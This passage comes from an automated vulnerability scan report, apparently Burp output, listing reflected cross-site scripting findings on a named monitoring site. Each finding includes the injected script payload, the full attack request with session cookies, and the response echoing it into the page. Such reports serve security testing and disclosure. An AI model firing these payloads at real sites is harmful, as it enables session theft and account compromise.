P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13109

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/it482f5"><script>alert(1)</script>5784c18d3da/plans_price.php" method="post">
...[SNIP]...

1.646. http://www.watchmouse.com/it/plans_price.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/plans_price.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d98ec"><script>alert(1)</script>e8b874edae1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /it/plans_price.phpd98ec"><script>alert(1)</script>e8b874edae1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:35 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-it-a64a652f753d4dc86988ba0e3afc4f0a"
Content-Language: it
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13396

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/it/plans_price.phpd98ec"><script>alert(1)</script>e8b874edae1" method="post">
...[SNIP]...

1.647. http://www.watchmouse.com/it/plans_price.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/plans_price.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71275"><script>alert(1)</script>fdec21357e6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /it/plans_price.php?71275"><script>alert(1)</script>fdec21357e6=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:09:17 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-it-3d8b444cd2f7ae25356abb03bc71cfbe"
Content-Language: it
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 59385

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/it/plans_price.php?71275"><script>alert(1)</script>fdec21357e6=1" method="post">
...[SNIP]...

1.648. http://www.watchmouse.com/it/register.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/register.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4dc6a"><script>alert(1)</script>22bb7605bf4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /it4dc6a"><script>alert(1)</script>22bb7605bf4/register.php?vpackid=35 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:37 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-b3e2e03b15e4ae0daa0f552ca730be83"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13181

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/it4dc6a"><script>alert(1)</script>22bb7605bf4/register.php?vpackid=35" method="post">
...[SNIP]...

1.649. http://www.watchmouse.com/it/register.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/register.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c9379"><script>alert(1)</script>c632ec3964e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /it/register.phpc9379"><script>alert(1)</script>c632ec3964e?vpackid=35 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:39 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-it-3d902c832311e493051113a6b4983d27"
Content-Language: it
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13468

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/it/register.phpc9379"><script>alert(1)</script>c632ec3964e?vpackid=35" method="post">
...[SNIP]...

1.650. http://www.watchmouse.com/it/register.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/register.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d1b4"><script>alert(1)</script>62effe758eb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /it/register.php?vpackid=35&1d1b4"><script>alert(1)</script>62effe758eb=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:09:34 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-it-45a9370f960899832dba22fa08735002"
Content-Language: it
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 26853

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">
<head><tit
...[SNIP]...
<a href="/en/register.php?vpackid=35&1d1b4"><script>alert(1)</script>62effe758eb=1" onclick="$('#lang-menu').toggle();">
...[SNIP]...

1.651. http://www.watchmouse.com/it/website_monitoring_features.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/website_monitoring_features.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1380b"><script>alert(1)</script>6a652f2bddd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /it1380b"><script>alert(1)</script>6a652f2bddd/website_monitoring_features.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:40 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-18b84a08e492dfb812ff895cf6ba74d4"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/it1380b"><script>alert(1)</script>6a652f2bddd/website_monitoring_features.php" method="post">
...[SNIP]...

1.652. http://www.watchmouse.com/it/website_monitoring_features.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/website_monitoring_features.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f8e7b"><script>alert(1)</script>e8f3c5223e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /it/website_monitoring_features.phpf8e7b"><script>alert(1)</script>e8f3c5223e HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:40 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-it-4861a77aa4dcd16e7d19aead549dad12"
Content-Language: it
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13531

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/it/website_monitoring_features.phpf8e7b"><script>alert(1)</script>e8f3c5223e" method="post">
...[SNIP]...

1.653. http://www.watchmouse.com/it/website_monitoring_features.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/website_monitoring_features.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e6c8"><script>alert(1)</script>311b647c0fb was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /it/website_monitoring_features.php?8e6c8"><script>alert(1)</script>311b647c0fb=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:29:37 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-it-159b593324df12386d55941828492c2e"
Content-Language: it
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 30115

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/it/website_monitoring_features.php?8e6c8"><script>alert(1)</script>311b647c0fb=1" method="post">
...[SNIP]...

1.654. http://www.watchmouse.com/nl/ [3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/

Issue detail

The value of the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 174ad"><script>alert(1)</script>84e1d772545 was submitted in the 3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nl/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=1174ad"><script>alert(1)</script>84e1d772545 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:58 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-nl-a1c87473ae739a418e08fd361e70086d"
Content-Language: nl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18907

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="nl" lang="nl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/nl/?3d071%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E03249d204b0=1174ad"><script>alert(1)</script>84e1d772545" method="post">
...[SNIP]...

1.655. http://www.watchmouse.com/nl/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b4d99"><script>alert(1)</script>f950240387 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /nlb4d99"><script>alert(1)</script>f950240387/ HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:57 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-e1311125d86ded1d0f881c5f03993cb1"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 12965

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/nlb4d99"><script>alert(1)</script>f950240387/" method="post">
...[SNIP]...

1.656. http://www.watchmouse.com/nl/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c1e9c"><script>alert(1)</script>6639ea3f8c7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nl/?c1e9c"><script>alert(1)</script>6639ea3f8c7=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:55 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-nl-fc4cc194b857c2f91d87aecf7c01bc3c"
Content-Language: nl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 18286

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="nl" lang="nl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/nl/?c1e9c"><script>alert(1)</script>6639ea3f8c7=1" method="post">
...[SNIP]...

1.657. http://www.watchmouse.com/nl/feature/public-status-page.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/feature/public-status-page.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dde6a"><script>alert(1)</script>cefb8d40002 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /nldde6a"><script>alert(1)</script>cefb8d40002/feature/public-status-page.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:13 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-c7ec75c8263d8b374c83efc8ef0e7ca0"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/nldde6a"><script>alert(1)</script>cefb8d40002/feature/public-status-page.html" method="post">
...[SNIP]...

1.658. http://www.watchmouse.com/nl/feature/public-status-page.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/feature/public-status-page.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2af1c"><script>alert(1)</script>fec647e23ee was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nl/feature2af1c"><script>alert(1)</script>fec647e23ee/public-status-page.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:19 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-nl-3a3d5c700e911bbb68df2fb72e39067a"
Content-Language: nl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13275

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="nl" lang="nl">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/nl/feature2af1c"><script>alert(1)</script>fec647e23ee/public-status-page.html" method="post">
...[SNIP]...

1.659. http://www.watchmouse.com/nl/feature/public-status-page.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/nl/feature/public-status-page.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d2dc1"><script>alert(1)</script>914369b5b9c was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /nl/feature/public-status-page.htmld2dc1"><script>alert(1)</script>914369b5b9c HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:22 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-nl-ad5b66f78bee607e2b309567d22559ce"
Content-Language: nl
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
